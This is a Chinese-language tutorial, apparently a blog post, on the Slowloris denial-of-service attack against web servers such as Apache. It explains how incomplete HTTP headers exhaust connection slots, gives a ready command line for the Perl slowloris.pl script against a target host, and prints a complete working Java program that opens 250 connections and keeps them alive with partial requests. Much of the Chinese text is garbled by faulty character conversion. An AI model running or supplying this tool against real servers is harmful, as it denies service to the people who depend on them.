DDOS攻擊,中文翻譯爲分佈式拒絕服務攻擊,是利用客戶端的請求,形成服務器資源過分佔用,服務器忙於處理這些請求,一些合法的用戶請求得不處處理,致使服務不可用。常見的ddos攻擊有SYN flood、UDP flood、ICMP flood等。其中SYN flood是一種最爲經典的DDOS攻擊。其利用的是TCP協議設計中的缺陷,此處先避開不談。 而Slowloris攻擊則是利用web server的漏洞(或者說是參數配置不合理),直接形成拒絕服務。Slowloris是在2009年由著名Web安全專家RSnake提出的一種攻擊方法,其原理是以極低的速度往服務器發送HTTP請求。因爲Web Server對於併發的鏈接數都有必定的上限,所以如果惡意地佔用住這些鏈接不釋放,那麼Web Server的全部鏈接都將被惡意鏈接佔用,從而沒法接受新的請求,致使拒絕服務。 怎麼算是惡意的請求呢,能夠構造一個局部http請求,也就是一個不完整的http請求。 一個正常的http請求,以下:
GET / HTTP/1.1\r\n HOST: host\r\n User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n Content-Length: 42\r\n\r\n
最後的兩個\r\n表示http請求頭結束,若是咱們去掉一個\r\n就表示這麼包沒完成,那麼服務器就會等待客戶端繼續發送這個包的剩餘部分,此時客戶端再發送任意HTTP頭,保持住鏈接便可。 X-a: b\r\n 當構造多個鏈接後,服務器的鏈接數很快就會達到上限。apache默認鏈接數150個,因此咱們只要創建150個這樣的鏈接,apache就沒法再處理新的請求,拒絕服務。 對於Slowloris攻擊,
http://ckers.org/slowloris/提供了腳本,直接使用便可,是用perl寫的,只要有perl的環境便可。
perl slowloris.pl -dns www.hostname.com -port 80 -timeout 200 -num 150
timeout不要設置過短,num是指創建多少個鏈接。運行一會,再看目標應用,應該鏈接數被佔滿。 知道了原理,咱們也能夠本身寫代碼,構造這樣的請求。下面是用java寫的一個簡單的例子:
package com.yeetrack.test;
import java.io.DataOutputStream; import java.io.IOException; import java.net.Socket; import java.net.UnknownHostException; import java.util.ArrayList; import java.util.List; /** *
@author youthflies * */ public class SlowlorisTest { /** * @param args *
@throws IOException *
@throws UnknownHostException *
@throws InterruptedException */ public static void main(String[] args) throws InterruptedException, UnknownHostException { // TODO Auto-generated method stub int count = 250; List sockets = new ArrayList(); List dataOutputStreams = new ArrayList(); //創建鏈接 for(int i=1;i<=count;i++) { Socket client = null; try { client = new Socket("www.hostname", 80); sockets.add(client); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("創建鏈接--"+i); } //發送不完整http請求 for(int j=0;j<=sockets.size()-1;j++) { try { DataOutputStream outputStream = new DataOutputStream(sockets.get(j).getOutputStream()); dataOutputStreams.add(outputStream); outputStream.writeBytes(" GET / HTTP/1.1\r\n" +"Host: www.hostname:80\r\n" +"Connection: keep-alive\r\n" +"Content-Length: 42\r\n"); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("發送局部http請求---"+j); } //保持鏈接 while(true) { for(int i=0;i<=dataOutputStreams.size()-1;i++) { try { dataOutputStreams.get(i).writeBytes("TimeStamp:"+System.currentTimeMillis()); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("發送數據保持鏈接"+System.currentTimeMillis()); Thread.sleep(1000); } } } } 使用 ps -ef | grep httpd | wc -l 能夠查看linux中apache的鏈接數量。